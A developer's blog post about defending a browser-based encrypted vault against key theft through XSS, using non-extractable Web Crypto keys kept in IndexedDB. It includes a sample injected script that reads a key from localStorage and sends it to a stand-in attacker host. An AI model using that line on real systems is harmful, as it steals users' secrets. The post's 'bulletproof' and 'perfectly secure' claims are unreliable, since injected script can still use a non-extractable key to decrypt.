Hey everyone! 👋 I’m a student currently studying for my board exams, and in my free time, I’ve been building a zero-knowledge "burn-after-reading" vault called ZeroKey.
While building the client-side encryption engine, I stumbled upon a massive vulnerability that most developers accidentally leave wide open when building End-to-End Encrypted (E2EE) apps: Key Exfiltration via XSS.
Here is how it happens, and the 1-line Web Crypto API feature I used to stop it.
The Key Exfiltration Threat 🛑
You can have perfectly implemented AES-GCM encryption. Your server might never see a single plaintext byte. But if a malicious Chrome extension or a zero-day XSS attack injects JavaScript into your page, they don't need to break your math. They just read your variables.
When developers build E2EE web apps, they usually store the encryption key in a JavaScript variable, React State, or localStorage. If an attacker gets XSS execution, they run this:
JavaScript
// A hacker's injected script steals your key instantly
const stolenKey = window.localStorage.getItem('my_aes_key');
fetch('https://evil-server.com/steal', { method: 'POST', body: stolenKey });
Game over. Your zero-knowledge architecture is compromised.
The Solution: Non-Extractable Keys 🔐
The native Web Crypto API has a brilliant, hardware-backed security feature designed specifically to defeat this attack: extractable: false.
When you generate or import a key as "non-extractable," the raw key material is pushed deep into the browser's cryptographic boundary (often utilizing OS-level secure enclaves like the TPM on Windows or Secure Enclave on Macs).
Your JavaScript code can pass this CryptoKey object to crypto.subtle.encrypt() to do the math, but the browser will throw a fatal error if any script attempts to read, print, or export the raw key.
Implementation in JavaScript
Here is how to properly import a user's password into a completely unreadable CryptoKey object. Notice the false boolean parameter:
JavaScript
// Securing the key during derivation/import
async function deriveSecureKey(passwordStr, saltBuffer) {
const enc = new TextEncoder();
const keyMaterial = await window.crypto.subtle.importKey(
"raw",
enc.encode(passwordStr),
{ name: "PBKDF2" },
false, // <-- CRITICAL: Key material cannot be extracted
["deriveKey"]
);
return await window.crypto.subtle.deriveKey(
{ name: "PBKDF2", salt: saltBuffer, iterations: 100000, hash: "SHA-256" },
keyMaterial,
{ name: "AES-GCM", length: 256 },
false, // <-- CRITICAL: Derived AES key cannot be extracted
["encrypt", "decrypt"]
);
}
How do you save it for later? 💾
If the key is non-extractable, how do you save it so the user doesn't have to type their password on every single page load?
You can't put it in localStorage because localStorage only accepts strings, and the browser refuses to turn this key into a string!
The answer is IndexedDB.
Modern browsers allow you to store raw CryptoKey objects directly into IndexedDB using the Structured Clone Algorithm. The key remains safely inside the browser's secure boundary, surviving page reloads without ever exposing the raw bytes to the JavaScript context.
JavaScript
// Storing a CryptoKey securely in IndexedDB
const request = indexedDB.open("SecureVault", 1);
request.onsuccess = function(event) {
const db = event.target.result;
const transaction = db.transaction(["Keys"], "readwrite");
const objectStore = transaction.objectStore("Keys");
// cryptoKey is our non-extractable key
// It goes into the database as an opaque object
objectStore.put(cryptoKey, "MasterAESKey");
};
Bulletproof Zero-Knowledge 🚀
I implemented this exact architecture in ZeroKey to ensure that even if the frontend is somehow compromised by a rogue NPM package, user payloads remain perfectly secure.
If you want to see how this interacts with PostgreSQL RLS and URL Fragment hashing, I open-sourced the whole project:
💻 GitHub Repo: www.github.com/kdippan/zerokey
🌐 Live App: www.zerokey.vercel.app
As a rising developer, I would absolutely love any feedback, code reviews, or stars on GitHub from the security engineers here! Let me know how you handle client-side key storage in your apps in the comments. 👇
Top comments (0)